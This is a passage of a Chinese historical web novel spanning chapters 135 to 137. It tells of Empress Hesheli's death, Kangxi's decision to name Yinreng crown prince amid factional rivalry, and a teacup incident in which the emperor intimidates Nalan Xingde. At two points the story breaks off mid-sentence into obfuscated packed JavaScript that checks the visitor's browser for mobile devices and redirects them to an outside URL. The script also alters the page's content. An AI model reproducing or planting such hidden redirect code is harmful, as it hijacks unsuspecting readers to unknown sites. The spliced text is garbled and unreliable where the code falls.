坤宁宫里面,皇后的寝殿外头更是笼罩着阵阵哀伤氛围—— 默默悬挂白纱的太监们个个面带愁苦,竟不知道是因为皇后主子走了而难过、还是因为不知各自接下来会被打发到何处当差而不安。 宫女们纷纷摘下了头饰花朵和七彩耳环,换装以素。她们来回于宫中的不同房间,一面整理皇后主子的遗物、一面感叹皇后主子走的早当真是命薄难解。 也不知道过了多久。 玄烨那浓郁伤情都一直不得消。 赫舍里皇后的遗躯就这么躺着,没有皇上允许,任何人都不得碰、不得移动。 * 孝庄亲自抱着小阿哥上前。 这位阅历丰富、看多了也看惯了宫闱的风雨悲欢的太皇太后,肃穆而郑重地问玄烨: “皇上这副哭天呛地的模样,幸好是只有皇祖母我和苏嬷嬷看见,否则传出去,皇上的圣颜何在?小阿哥已经降生,皇上却连看都不看小阿哥一眼,只会一味沉浸在失去结发妻的悲伤中,叫九泉之下的赫舍里如何安心?” 玄烨放下了赫舍里的手,费了好大劲才从地上重新站起,神色伤不自掩。 在苏麻喇姑的眼神的暗示下,玄烨终于是把小阿哥抱了过来,逐渐地代入了皇阿玛的角色。 孝庄继续道:“皇上,不管是普通百姓,还是高高在上的帝王,总会经历人生当中的生死离合。赫舍里在尘世之中,已经尽了自己作为皇后、嫡妻、生母的责任,所以她是没有遗憾的。” “皇上难道不应当振作起来,将失去爱妻之痛转变对小阿哥的栽培和对江山大统的施策吗?还是说,皇上你就甘愿做一个连先帝顺治爷都不如的不孝子?若是皇上执意如此,那还不如退位让贤,把大清国的将来交付给安亲王岳乐或是裕亲王福全。” 玄烨听见孝庄把话说的重,心中是百感交集。 ——纳兰你可知道,朕觉得苦啊!襁褓中的婴儿尚能肆意哭泣,朕却连为自己的皇后多哭一会的机会都没有。 ——江山美人的轻重,朕固然可辨。只是朕就想要那么几天守着皇后的时间,人呐,心里都有柔软的地方,爱新觉罗家的男人都一样,都一样。 孝庄问:“皇上现在有什么打算?” 玄烨把小阿哥交给苏麻喇姑,“朕会收拾心情,前往养心殿听听朝臣们有什么话要说。” “朝臣要说的,肯定是关于立嗣的大事,皇上真的有心情听得进去?” 玄烨定定地看着皇祖母,忽然仰天凄笑: “不就是稳定人心和夯实千秋基业吗?朕没有什么话听不得。立嗣好啊,离笼络汉人又近了一步,汉人们不都认定了嫡长子继承制吗?朕就打破满清的立储规矩,走一回汉制又如何?” 看着玄烨独自走出了坤宁宫,孝庄和苏麻喇姑皆是大惊。 不但孝庄无法预测:接下来康熙皇帝会对明索两党之人说出什么话来,连纳兰容若也没有想到: 自己下意识地保护孔尚任等汉人们的举措,真的上升到了朝议的地步。 此事酝酿发酵,正好赶上康熙皇帝那赌气一般的“仿汉制、立太子”的定音之言,闹得一发不可收拾。 135.第135章 赫舍里皇后崩逝的消息传到“明索两党”耳中时,索额图本能反应地问:“皇嗣呢?皇嗣可都无恙?” 传使道:“回索大人,是位小阿哥,一切平安。太皇太后和皇上都抱过了,此时正由荣妃娘娘暂且照料着呢。” 索额图朝明珠一冷笑,道:“本官虽然无法把小阿哥带回府上去抚养,但是本官谢太皇太后圣明,没把小阿哥交给惠妃去带。” 明珠同样神色冷淡,心想: 惠妃的位份比皇后低了三级,目前虽为四妃之首,但作为大阿哥的生母和明党之人,太皇太后无疑是不会把皇后的嫡子交给她的。宜妃和德嫔毕竟是没有荣妃稳妥,由荣妃来暂行养育亦在情理之中。 明珠正色问:“坤宁宫上下如何?皇上身在何处?” 传使道:“坤宁宫现在哭声和愁云自然是未散,但是等今日过了,再等皇上同意将先皇后下葬了,便是能够逐步恢复往常。皇上正往养心殿来,顾总管已经去接驾了,奴才估摸着圣驾马上就到。” * 外头传来了顾问行的声音:“皇上驾到——” “明索两党”之人马上分站左右,都往脸上挂了“共感悲伤”的神色,来面君与进谏。 “还请皇上节哀。”索额图悲调道,“先皇后这是为了大清江山而牺牲,死得其所,所幸皇嫡子健康平安,乃是万幸。” “是啊皇上,中宫虽难产而逝,但是爱新觉罗家的血脉保住了,一切都来日方长啊!“明珠道,”皇上切不可以过度哀伤,还请尽快下令排办先皇后的丧仪吧!” “朕以祖宗基业和天下安定为重,决心立胤礽为皇太子。“ 康熙皇帝此言一出,明索两党皆惊。 明珠和索额图并不是没有此预料,而是没想到皇上下决心下的这么快。 “皇上,臣明珠有话要说。您这般操之过急册立皇太子,外头难免揣测:大清天子恩念皇后过度,才给了皇嫡子如此殊荣。只怕是对皇嫡子的福报和名声不利啊!” 索额图反驳道:“明珠大人说的是什么话?皇上此举,正好是让朝纲和天下都见证了何谓夫妻情深,怎么在你眼里就成了:胤礽沾了生母的光而自招非议了?你是因为大阿哥错失储君之位,而对皇上心生不满吗?” 明珠忠心耿耿道:“我大清自太祖爷以来就降下了规矩,皇帝在位之际,不公开太子人选。如今皇上逆祖制而行,如何叫八旗亲贵和铁帽子亲王们信服?如何叫胤礽的其他兄弟和母妃信服?不知皇上此言此举,是否经由太皇太后甄辨同意?” “好一派自私自家直言!”索额图戳了明珠的痛处,“胤礽子凭母贵,皇上和太皇太后的鸿福庇佑与生俱来,加上后期荣妃娘娘的抚育和师傅的学问督导,继承大统无可厚非,福报与智慧定是要胜过皇长子胤禔许多。” “照索大人的意思,就是只要有这些外因加持,皇嫡子胤礽就能自成明君了?明珠斗胆说一句不敬之言:要是日后胤礽不成器,立而废,责任是在今日的皇上专擅之决意?还是在你我劝君不成,罪在千秋?” “明珠大人此言,不得不让本官怀疑你的居心啊!” 明珠冷笑一声,不说话,看向康熙皇帝。 索额图也是不把政敌的“居心”挑明,等着康熙皇帝来圣断。 * 康熙皇帝一身清然。 他早已将自己的做法和所要达成的目的了然于胸。 “朕立太子,无关感情、无关朝堂党争、无关个人好恶,只是为了天下大势考虑。三藩未平,台岛未收,沙俄未解,朕还有诸多心愿未了。噶尔丹人马招摇来京,天降异象皇后崩逝,朕急需做一件事情来让管住汉人们的嘴和让汉人们信服:立长子的制度,在康熙朝可行。” “明珠,索额图,你俩可知道,有个说法叫做:汉人们的嘴,胜过满人们的枪。所以朕之做法,是为了笼络汉人们的心。唯有让汉人们安分守己、不与朕的江山蓝图做对,才可说大清王朝正在走向中原定鼎的正统。否则再多的满汉一家之策、录用汉人为官之例、优待前明子民之款,在文人士人和读书人眼里,都是空谈与虚谈。” “朕立皇后嫡子胤礽为太子之事,就是能让汉人们看的明明白白、且有口皆碑的最善之举。” 明珠知道事情已经没有回旋的余地,就恭敬问康熙皇帝:“皇上,公开册立皇太子一事,预计何日执行?” “执行?”索额图挑刺道,“明珠你这个用词是在讽刺什么?圣意的不得不遵?还是表里不一的对既定事实的不满?” 明珠对此并不理会,只是再问康熙皇帝:“请皇上明示,皇太子的册封之礼,何日举办?” “朕,定于明年六月初三,圣谕天下立储之事;十二月十三日,正式在太和殿举办皇太子册封大典,以让胤礽正位东宫。” 明珠一琢磨,弄懂了康熙皇帝的意思: 第一,三大心头患未除,要告知吴三桂、郑氏集团、沙俄敌寇,大清江山后继有人,康熙皇帝绝对不会被形势所逼而退位; 第二,赫舍里皇后虽然崩逝,但是不可否认她身后的外戚势力仍旧强大,册立太子,正好可以平衡皇上在政事和感情上的关系,让皇上的“苦衷”和“明断”载于史册,不至于将那份“背后深意”揭露的过于鲜明; 第三,“嫡长子继承制”在康熙朝开了先例,的确是有利于激发汉人们对满清王朝统治的认同感,这是不可或缺的决定性条件之一。只是这一制度在将来会演变成什么样,就是围绕胤礽的宿命来展开的了。 明珠立刻跪下,向康熙皇帝臣服磕头,道:“臣明珠,领会圣意,追随圣意。皇上万岁,皇太子万福。” * 那日吹风淋雨之后,容若在家看书温药小养,倒是跟卢氏夫人和颜氏侧夫人有了更多的相处时光。 见卢氏与颜氏姐妹相称,处之甚好,容若心中自是欣慰。 另外,沈宛的书信在她经行到济南之时就写来了,里面还附带着她写的一首词,满寄相思。 容若把信件仔细收在了“饮水词歌·素菜馆”内:一双人雅室的机关壁层的双锁盒子里,以免被人发现,上交明珠,惹得阿玛兴师问罪。 * 今日。 容若坐在渌水亭中,喝着卢氏亲手炖的岭南消暑甜汤,心情愉悦。 “我之前爱吃白玉芡实桂花甜汤,现在觉得‘绿豆海带糖水’也别具风味。听说在岭南,腐竹白果鹌鹑蛋也是能够一起吃甜的?” “是。”卢氏笑道,“要放冰糖,炖好后的糖水色香味才好。李时珍在《本草纲目》中说,白果有熟食温肺的效果。但是公子体寒,是不能吃白果的。” “可我吃凤梨吃的多,阿玛额娘没有管束。” “公子吃的是熬制过后的凤梨酥内馅,这倒不打紧。只是盐水泡过的凤梨片儿,还是少吃的好。” “尔谖,我倒是没有问过你——”容若笑看她,“你喜欢吃什么?” “我多是爱吃:白切鸡、叉烧包、云吞面、上汤菜心。” “都是岭南菜?那你在沈阳住的那几年和被太皇太后接到皇宫住的日子里,吃北方菜和京华菜可都还习惯?” “尔谖只是觉得跟公子缘深。”卢氏温婉,“彼此都爱吃甜、淡、鲜。所以觉得在明府合着公子的口味来品尝三餐膳食,甚好。” 容若心中感动。 夫妻情分,在于“情缘”二字,自己跟卢氏有情有缘,早已解开了之前的“若”字误会。如今,夫妻之间琴瑟和鸣,诗书文章,饮食玩赏,多有共通之处,的确至幸。 颜氏侧夫人端了西瓜过来,见过容若和卢氏之后,便依照礼数坐下,一家人共看渌水池中开的正好的荷花。 颜袖云问:“自打老爷回来以后,公子就未向老爷询问过宫中的情况,老爷也不主动找公子说,公子可猜到一二了?” “皇后崩逝,皇上选定了储君,局势往索党那边倒,所以阿玛没什么好说的。”容若看着妻妾,“但你俩要是问我有没有什么要对阿玛相劝的,我倒也没有。皇上的决意,我觉得无错,利大于弊。” 卢氏问:“既然皇上的意思已经透露出来了,那为何立太子的旨意和大典要等到明年?不见得是为皇后守孝。” “嗯,尔谖你问的好。”容若吃了口西瓜,“有些事,风声传播的快一些比流程就绪完毕的好。比如说:汉人们之间的话题,都是向心力绕着皇上而谈的,那皇上当然龙颜大悦;再比如说:朝臣们私下的议论,都是关于社稷安稳的,那皇上当然不必惧怕被贼寇威逼禅位。” 卢氏又问:“那公子觉得太皇太后的意思呢?” “总不能让赫舍里皇后白死,你俩说皇后会死,太皇太后真的没有责任吗?”容若看的透彻,“老祖宗的心,权衡利弊之后,肯定是做出牺牲皇后的决定的。所以立太子的事情上,老祖宗会无条件支持皇上。” 袖云递过帕子给容若擦手,问: “公子从五日前开始闭门谢客,可是觉得文人们的危机已经渐渐过了?因为皇上没有把败于三藩和忍于噶尔丹的怒气出在文人们身上。” 容若脸上浮出一抹无奈的笑。 “大抵文人们的危机是过了,但我自己的危机却来了。” “这话怎么说?”袖云心中紧张,“该不会真有文人辜负了公子的好意,去向徐乾学说了什么不中听的话,让徐乾学伺机投靠索党之人来向皇上栽害公子吧?” “皇上自身应是会留意到我在干什么,我的一举一动从来都逃脱不了皇上的眼线,我的去向或者说我能去的地方,全部要皇上同意……” 容若停了停,单手支着脑袋,没有往下说。 “公子既是行善,就一定有善报。”卢氏温声道,“尔谖和袖云,都是这么想的。” “但愿如你俩吉言。”容若拉过妻妾的手,“我好,整个纳兰家都好。” * 夜间。 明珠来到容若房中,给儿子送了一幅宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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清夜有梦,说来也怪。 梦中所见,竟是睿王。 多尔衮站在山巅,至上而下地俯瞰着归康熙皇帝所统治的大清王朝,眉头紧锁,他对着苍茫质问孝庄: “大玉儿,看看你的好皇孙吧!看看玄烨能把大清变成什么样吧!” * 数日后。 且不说—— 官云辞和禹之鼎的漫漫航途如何、沈宛和宋应星的坦坦归程怎样。 就看这间密室之中,索额图正和自己的几位心腹在商讨“大计”。 李光地奉承道:“下官等恭喜索大人,等到明年十二月份行完皇太子册封大典,索大人您就是胤礽的叔姥爷了呀!” 索额图面带得意之色,似乎皇后崩逝之事早已被他淡忘。 “本官虽是离皇室的关系又亲了一步,但也不敢有所造次。李光地,辜鸿玳,兴必察,你等三人也切勿做出让明党之人误会本官的事情来才好。” 辜鸿玳道:“下官等誓死效忠,断然是不会有所差错。但是索大人您想呐,明党之人若是纯心跟您这位‘叔姥爷’过不去,还会挑不出刺来吗?您可得先一步制裁了明珠父子才好,别让他俩诡计得逞。” 索额图刮着玉扳指道:“本官想过了,这回斗明珠父子,呵呵,得从一个‘汉‘字入手。” “索大人是指皇上的‘效汉制、立嫡子‘这回事吗?”兴必察问,“话说回来,明珠父子也没有公然反对啊!咱们索党要如何一击正中要害?” “切入点,”索额图阴险一笑,“必然是明珠的贵公子的纳兰性德。” “贵公子可碰不得,听说他经不了风雨,煎制药和解暑汤轮番着灌。”李光地道,“那些年纪比他大的汉人朋友见他如此,连渌水亭都不敢去了。” “你可说到点子上了,就是贵公子的那些汉人朋友,在皇上两战不顺意和皇后崩逝之间,都跟贵公子在聊什么。”索额图晃了晃腿,“有些话传到皇上耳朵里,就是大忌。” “索大人,您可不能捏造啊!”辜鸿玳不知为何带着良知,“人在做天在看,皇后才刚刚仙去,万一纳兰性德也被你气死了,那康熙皇帝就不是无休止地罢朝和越规矩地大兴丧仪了,而是会将你们赫舍里一族给除籍贬庶也未可知。” “气死贵公子倒是不至于,但是能够让他遭皇上猜忌,本官的目的就已经达到。”索额图规划着,“所谓:子不教,父之过。明珠也逃脱不了皇上的怪罪。” 这一次,李光地、辜鸿玳和兴必察三人,皆是反对索额图的做法。 ——这跟趁乱挑拨是非有何区别? ——索大人不百计为皇上分忧,却巴不得踩上政敌父子一脚,来达到自己心头爽快的目的,实在是:机不对时、言不投意、行不应景。 索额图却是一意孤行,真的在朝议上把事情拿出来说,意图给明珠父子招来非议,以此来倒逼康熙皇帝做选择: 纳兰性德私交汉人,意欲何为? 纳兰明珠管束不严,可是故纵? 大清江山和皇上清誉,岂能由着他们在家中妄加议论? 136.第136章 赫舍里皇后崩逝之事,玄烨哀思了好长一段时间之后,终于有所放下。 如今坤宁宫空着,孝庄也没有做主立皇贵妃的暗懿,后宫一片风平浪静。 养心殿内。 玄烨听完索额图的言语,不禁倦怠道:“你是胤礽的叔姥爷,多为皇后祈冥福,多想着皇嗣万全就好,不必来朕面前说纳兰父子之事。” 索额图一本正经道:“皇上,纳兰性德自恃才高,深谙汉学汉术,常邀各路文人来往于渌水亭,表面看似切磋诗词文章,内在指不定是聊些什么。万一动摇大清国本,这妄言之罪就该先一步治下。” “你是比朕更进一步安排眼线监视明府吗?”玄烨盯着眼前人,“明府如何,个中来往,家事琐事,不是你该管的。” “即便是臣有所揣测,那也是为了皇上好。”索额图言路大开,“皇上立嗣乃是利国利民的好事,臣就怕广大文人只是一时顺应天意,后续又遭纳兰父子煽动,逆转言词,说出令皇上不痛快的话来,于江山稳固之无益。” “当下仍是赫舍里皇后丧期,朕立储之言要等明年才昭告天下,索额图你就急着胡作推测,不得不叫朕怀疑:你想早一步把立储讯息宣于民间,激起千尺浪,自己却隔岸观火,乐看纳兰父子来承担一切。” “臣没有国戚自大之心,请皇上明鉴。” “你要是怀有、甚至是在日后——步步为营,算计皇嗣来为己所用之心,朕绝不饶你。” “臣不敢。” 索额图走后,玄烨喝了口顾总管递来的安神茶。 思量了好一会儿,玄烨终于道:“去叫人把纳兰召到朕面前来。” 顾问行小心翼翼提醒:“万岁爷,这索大人的话,您可千万别真往纳兰公子身上栽。” 玄烨挥了挥手:“朕自有判断。” 顾问行领命:“是。奴才这就去办。” * 后宫之中。 太皇太后孝庄叫来了众嫔妃,正端严地训懿。 “老祖宗我是亲自为皇上挑选和操持嫡妻婚事的,赫舍里皇后掌管凤印期间,六宫恩协,并未发生过什么见不得光的事情,这既是先皇后的贤能有为,也是各宫嫔妃循规蹈矩、淑德侍君的缘故。” “如今赫舍里皇后难产仙去,这几年之内,是不会再册立中宫新主。皇上与先皇后情深意重,值得天下夫妻引以为范,亦是值得各宫嫔妃在心中谨记:无论何时何地,为大清江山着想是最重要的,己之母命,在千钧一发之际必定是轻于皇嗣之命。” “你们还年轻,不要觉得老祖宗我把话说的太重太绝对。莫说是作为皇上的女人的你们,就说自太宗皇帝以来就远嫁各部族的公主们,她们的男人要是跟大清国开战,那祖训也是要求她们站在爱新觉罗家这一边的。老祖宗的话,你们可都听明白了?” 众嫔妃齐声道:“臣妾等谨遵太皇太后教诲。” 惠妃却是从孝庄的话里琢磨出了端倪: 不立皇后,意味着现在后宫之中并无合适的人选,它日中宫新主必定还是太皇太后跟皇上一起挑,且所挑的女子仍旧是出身显赫、背后势力强盛、性情如先皇后一般的人。 无条件为爱新觉罗家付出一切,与其说是后宫嫔妃的宿命,不如说是默认的观念。太皇太后并非是将这种观念贯彻到每一个嫔妃心中,而是让后宫的女人都有这么一个自我意识:命是大清的命,爱是皇上的爱,别无二选。 向太皇太后跪了安,往回走的路上,惠妃心中默念容若。 她问远黛:“近来明府之中一切可好?伯父如何?” 远黛听出了主子的话的本意:容若公子是否安好? 她应道:“奴才以为,只要皇上不多心多疑多找不必要的麻烦,明珠大人和容若公子皆是安然无恙。但是近来索党那边风声紧,似乎是想趁着皇上重视嫡子胤礽一事,而借汉制来兴风作浪在容若公子身上。” “倒是本宫自己辜负了伯父的期待。”惠妃慢慢走着,“位份将来无法晋升皇贵妃,大阿哥将来也只能做个贤王。” “奴才觉得,事情早些见分晓的好。”远黛扶着主子,“不管以后皇上能得多少皇子,也不管以后别的娘娘想如何凭借儿子来荣耀自己,咱们始终是比她们看的清楚的。” “后宫讲究出身,本宫却是一步一步走的踏实。”惠妃驻足仰望天穹,“只是再如何问心无愧,也改变不了一生为妃的现实。” “娘娘常说:后宫表面平静实则不然,谨小慎微平安是福。奴才深以为是。” “本宫想去养心殿给皇上请安,往养心殿走吧!” “是。” * 养心殿中。 纳兰容若站在康熙皇帝的御案对面,他见康熙皇帝一半疲乏、一半猜疑的模样,就知道皇上肯定是听了小人的背后谗言。 玄烨命令顾总管等人下去后,开门见山对纳兰道:“朕听说,近来各路文人在你的渌水亭进出频繁,你可是瞒着朕在图谋什么?” 纳兰对玄烨口中的“图谋”一词感到不快,这跟遭到皇帝猜忌有区别吗?皇上可以把“不轨”二字省了,是不是相当于在暗示:明珠也牵涉其中? 纳兰自然是不会明说:自己就是怕皇上在“三藩”和“噶尔丹”这两件事情上不痛快,会把怒火转向管不住嘴的文人们身上,自己才好心对文人们有所提醒,提醒他们不要因为口舌之快而惹了官司上身,进而从个案演变为众案,倒下一大片士人和读书人。 所以纳兰道:“自打补殿试之后,皇上不肯给臣安排职务,使得臣在家赋闲,就只能找些文人来聊。” “你真的‘闲’过吗?”玄烨反问,“你且当朕是给了你跟妻妾相处的好时日就好。” “在家闲不得,入宫忙不得,叫臣陷入困境的不正是皇上吗?皇上只要当纳兰容若还是自己信得过的侧臣和知己就好,臣别无他求。” “没办法。”玄烨言简意赅,“朕这辈子要是做错了什么事,那么第一件就是:对纳兰容若只留不放、予取不纵、爱重不离。” “朕,要走到更高的地方去。” ——因此身边必须有你。 ——你在,朕不怕摔倒;你不在,朕未摔而怕疼。 见纳兰露出“臣相信皇上,追随皇上”的表情,玄烨别有意味地一笑,道:“朕以后有的是用的到你的地方。” * 养心殿外,惠妃向顾总管传达自己请见皇上之意。 顾总管一甩拂尘,实事求是道:“惠妃娘娘,皇上跟纳兰公子在谈话,您怕是不方便进去。” “那本宫就在此等候。”惠妃退让到一边,“请总管大人方便的时候再去通传本宫的意思。” “奴才不瞒娘娘,皇上近来脾气忽好忽坏,最是难以捉摸。”顾总管下意识回头看了里面一眼,“这会皇上跟纳兰公子相处的风平浪静,没准隔一阵子就是汹涌澎湃,您要是不留神踩在了皇上的导火索处,那也对纳兰公子无益啊!” “总管大人提醒的是,那本宫就先回去了。今日本宫来过之事,不必跟皇上说。” “恭送惠妃娘娘。” 走到半路,惠妃越想越不放心,便交待远黛:“还是得叫张全保张公公到明府去给伯父送口信,就说:纳兰公子跟皇上在养心殿……不可预计后果。” 远黛不解,“真有那么严重吗,娘娘?” 惠妃凝神道:“顾总管在皇上身边伺候的久,皇上的脾气他最清楚。宁可信表兄被皇上为难,不可松懈以为表兄无难。” 远黛应声:“是,奴才这就去托张公公办事。娘娘独自回宫,路上小心。” 惠妃点头:“你快去吧!” 却说惠妃在走经花园的一处假山时,竟然看见:德嫔与侍卫隆科多疑似私会。 那两人之间,相互交换着像是“信物”的东西,且眉眼之间颇有说不清道不明的珍惜感与融洽感。 惠妃心中十分惊讶,照理说乌雅氏与佟佳氏之间并无直接的利益关系,德嫔与康熙皇帝之间感情甚好,这些日子前后,亦是德嫔承宠最多。 若是德嫔用心对皇上、早诞子嗣,那么距离封妃的荣耀日子定是不远,她怎会做出有违宫规之事? 所以惠妃宁愿相信其中有误会,自己眼见非实,便迅速离开了。 而此事有无被别人发现并且传入康熙皇帝耳中,便是后话了。 * 一如顾总管和惠妃娘娘所料,明珠匆匆赶到养心殿时,康熙皇帝和侧臣纳兰正处在君臣矛盾的激辩之中。 “臣明珠参见皇上。” 明珠在顾总管的领路下,推门而入。 “明珠,你儿子目中无君!”玄烨指向桌面上的茶碗,“叫朕忍无可忍,真恨不得把你儿子送进大牢里去候审待罪。” 明珠留意到茶碗半空,浑身一震,惊的连忙拉过容若来跪地请饶。 原来,是侧面的桌子上摆着两个茶碗,一个是容若用的侧臣白骨瓷碗,另一个是皇上用的天子白玉御碗,除了大小之外,光泽与厚薄并无区别。 也不知道是梁九功梁公公当差当糊涂了,错摆二物;还是皇上有意为之,故意给容若设了局。 总之,明珠目之所见就是:白骨瓷碗里面的茶尚满,白玉御碗里面的茶被喝了一半。 像是……容若错拿了皇上的御碗来喝。 这……已经不是对皇上的大不敬,而是颇有“饮茶送客”的味道,往深处讲,就是: 儿啊,你这是有“江山易主”之嫌啊! 幸好你只是喝了一半,万一你把皇上的茶全喝了,那就是:饮茶留盏,盏空送客。你视康熙皇帝为客,想送走君主,抱以“反客为主”的心思,按律可是死罪! 莫说你一人,纳兰氏一族几百人的性命……怕都是要赔进去了。 玄烨冷问:“明珠你说,朕是应当公事公办立刻治了你儿子的罪,还是再给他一个解释的机会?” 明珠擦了一把冷汗,道:“容若平日里从不犯错,今日在皇上面前犯下大错,臣想一定是事出有因,还请皇上开恩,给容若一回自省的余地吧!” 玄烨一抬眉毛,肃怒道:“纳兰容若,朕看在你伴君已久,过往的确有功劳的份上,就给你一次辩解的恩典。” 容若先回复明珠:“阿玛,儿跟皇上互论国事国策,过程难免唇干舌燥,就把盏饮茗,着实是没有留意到自己错拿御碗,绝非纯心无视君威。” 后再对康熙皇帝自请罪过: “纳兰君前失仪,以下犯上,论罪当死,此行此举,事实当前,驳诉无益,自认大错。只是就事论事,臣与皇上讨论到国情关键之处,就忽犯口喝,异于往日,不知是否为殿内点了新香的缘故?臣把自己的想法和建议都跟皇上说的差不多了,大计之定夺、大困之决断,全凭皇上做主。” “你真以为自己慷慨无悔,朕就不敢杀你吗?”玄烨走回宝座,威严坐下,“只要是朕想定你的罪,别说是今日的大罪,其他小罪也不可计数。” “请皇上对容若训诲。” 明珠用肩膀推了推容若,意思是叫儿子对康熙皇帝多听少说。 “朕一向不喜被人挑衅,纳兰有意也好无心也罢,做过了就是做过了,做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497320|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了就是做错了,只是当时只有朕和他两个人在,现在除了明珠你,没有第三张嘴敢说出去。朕是仁君,纳兰是文人,文人当面放肆也情有可原,只要全天下的文人不闻风而学样就好。” “皇上所言极是!”明珠附和道,“臣把容若领回家以后,一定按照圣意好好教导。” “朕尚且记得,你们一家人尝宫宴的时候,揆叙和揆方谨记‘皇宫禁地,守礼为上’的道理,所以一家人其乐融融,皇阿奶也高兴,夸明珠家的两个小儿子懂事。纳兰作为长子,更是应当严于律己,不闪失行径,不冒犯天子,朕就姑且对纳兰饶过。” “儿啊,你还不赶紧叩谢圣恩?” “纳兰性德,谢皇上开恩。” “臣明珠谢皇上宽恕容若。” “纳兰,朕可以不追究你的死罪。”玄烨话锋一转,“换之,朕接下来欲全力积累政绩,你要好好为朕出力。” “是,臣责无旁贷,定竭力辅佐皇上。” “你们父子跪安吧。” “臣明珠/纳兰性德告退。” 离开的时候,纳兰神差鬼使地回望了桌面上的两只茶碗一眼,总觉得哪里不对劲。 ——难道失了心窍就是这么回事? ——难道不知不觉就是这种表现? 自己到底是怎么了? 若是诸葛孔明不解,可否请茶圣陆羽开示? * 纳兰父子坐在返程的马车上。 总算是离开了皇宫,可以稍稍放松肌体深情,寻常言语。 “儿以为躲过了索额图搬弄是非的那一劫,实在是没想到:人算不如天算,到底是因为自己的一时过失,触怒皇上。” “你自己好好想想接下来该怎么办吧!” “阿玛您就不觉得今天发生的事,全都莫名其妙吗?” “皇上有心这么针对你,你能保命就不错了。”明珠庆幸道,“即便是知晓个中缘由,也不必细思,猜测君心之事,本就是臣子和嫔妃们一招不慎就会万劫不复的难题啊!” 容若忍不住向明珠确认:“请教阿玛,皇上对儿是饶过了还是没有?” 明珠反问:“你自己对皇上如何看待?” 容若想了想,“皇上没有在跟‘汉’相关的事情上为难我,在我的意料之外。但是得到皇上许可畅言国事之余,落得一个处境自找的结局,我心里多少想不通。” 明珠洞悉地指出:“阿玛看你不是想不通,而是不愿接受自己向皇上低头的事实。” 容若无奈捂心,“只一次,就让儿领略到了什么叫做:距离死罪只有一步之遥。” “所以你说皇上饶了你没有?” 明珠平静,知道儿子已然幡悟。 “饶了。纳兰父子向皇上俯首认错,皇上就达到了目的,不管是局非局。” 容若豁然,一切不过是“臣子服从天子”罢了。 ——只是自己跟玄烨之间,多了一层“索党兴妖作怪”之外的和谐。 ——和谐之后的先扬后抑,为君者的用意在于让臣子自生差错和畏惧,为臣者的感受却是仅仅剩下思醒。不思则惘,自醒为救。 明珠边拍儿子的肩膀边点头:“天子的心志就是这么回事,你不过是进一步去弄懂了而已。” 容若不语,心中半明半暗。 如此也好,最起码己之无恙,家之安泰,胜过千万来自四方的雷霆风暴。 * 是夜,明府。 寝室之中,容若与卢氏夫人同床待眠。 容若平静,将己之所想告知正妻: “我本善制香、调香和辨香,却是没能在养心殿识别一味罗带香。宋李师师手出罗带香一盏,取自秦观秦少游词:香囊暗解,罗带轻分。此香善闻,久则口渴,想来少游仙去之时,便是叫人去取水,水至,笑视而卒,不知其是否思恋师师?” “少游已矣,西风吹泪古滕州。”卢氏意会道,“皇上莫非是在向公子暗示:安分守己方可得善终?” “善终一词,我宁愿借皇上之口用在阿玛明珠身上。” “明珠大人谨慎,又有公子在身后出谋划策、共辨利弊,想必会得一个好下场。” “难得是君臣之间不能互不相欠。” “那便做赌。”卢氏细致入微道,“上天喜欢用人来做赌注,才会分出赢家和输家。君臣之间的胜负,用后世的评价来衡量,未闻身后事之前,臣子要做的就是:小错不犯,大错可弥。这当中的‘错’的来源,只分客观与主观,二者由心不由己,唯有躬身入局可解。” 见容若露出了从未有过的表情,好似在未知中透着欣赏,卢氏感受到了来自夫君的别样的共鸣感。 她试探着:“尔谖的话,公子听进去了?” “嗯。”容若浅笑,“你为我解惑了,谢谢你尔谖。” 容若抱拥着卢氏,七分爱意三分感激,其中还在心中夹带着丝丝对正妻的惊讶。 他以为卢氏德胜于才,却不想她也能够说出得当且有力的见解来。 他珍惜这样的女子,夫妻之间,是该有比感情更重要的政局观。因为纳兰家一直都处在离康熙皇帝最近的地方,应被入门后的卢氏所思量和贤助。 “睡吧尔谖,就以这样的彼此。” 卢氏小惑:“这样的彼此?” 容若温和:“我没有省字也没有漏字,就是这样的彼此。我喜欢这样的彼此。” 月伴眠,人伴眠,好是仲夏天气。 心相近,人相近,共作眷恋相依。 容若与卢氏在鸳鸯温梦中睡去。 137.第137章 数日后。 梁九功领了一份“扔碗”的差事,他对康熙皇帝的圣意捉摸不定,就赶紧向顾问行讨教。 “干爹,皇上叫奴才把两只茶碗都拿走。”梁九功半弯着腰,“奴才愚钝,不晓得这茶碗到底是撤得还是撤不得啊?“ 顾问行冷扫徒弟一眼,“要不是之前你当差当糊涂了,能发生那种事吗?” 梁九功惶恐道:“奴才冤枉呀,奴才就算是吃了熊心豹子胆,也不敢把万岁爷的白玉御碗跟纳兰公子的白骨瓷碗搁在一块放啊!那日养心殿的新香,也不是奴才点的。” 顾问行用眼神暗示徒弟到一边说话。 “咱们万岁爷的心思不是明摆着吗?要给纳兰父子一个大惑不解的错理儿。” “这无缘无故地领份往大了说就是杀头的大罪,”梁九功一哆嗦,“谁受得了啊?” “这你就不懂了。”顾问行面无表情,“万岁爷这干戈呢,就需要这么一种方式发泄出来。间接恩威并施,总比直接大发雷霆的好。” “这天子的霸气奴才是感受到了,可是恩在哪呢?” “纳兰公子谢皇上一句宽恕,就等于是皇上给过恩典了。跟皇上杀不杀他无关。” 梁九功小声问:“皇上为何要动杀机?” 顾问行亦是小声道:“看着像是不满与吓唬,实际上是怕某种趋势往纳兰父子的轨迹上走。皇上是世间万事万物的主宰者,自然是希望自己能够做一切的主,尤其是在‘掌控朝臣和侧臣的忠诚度和尊卑感’上。” 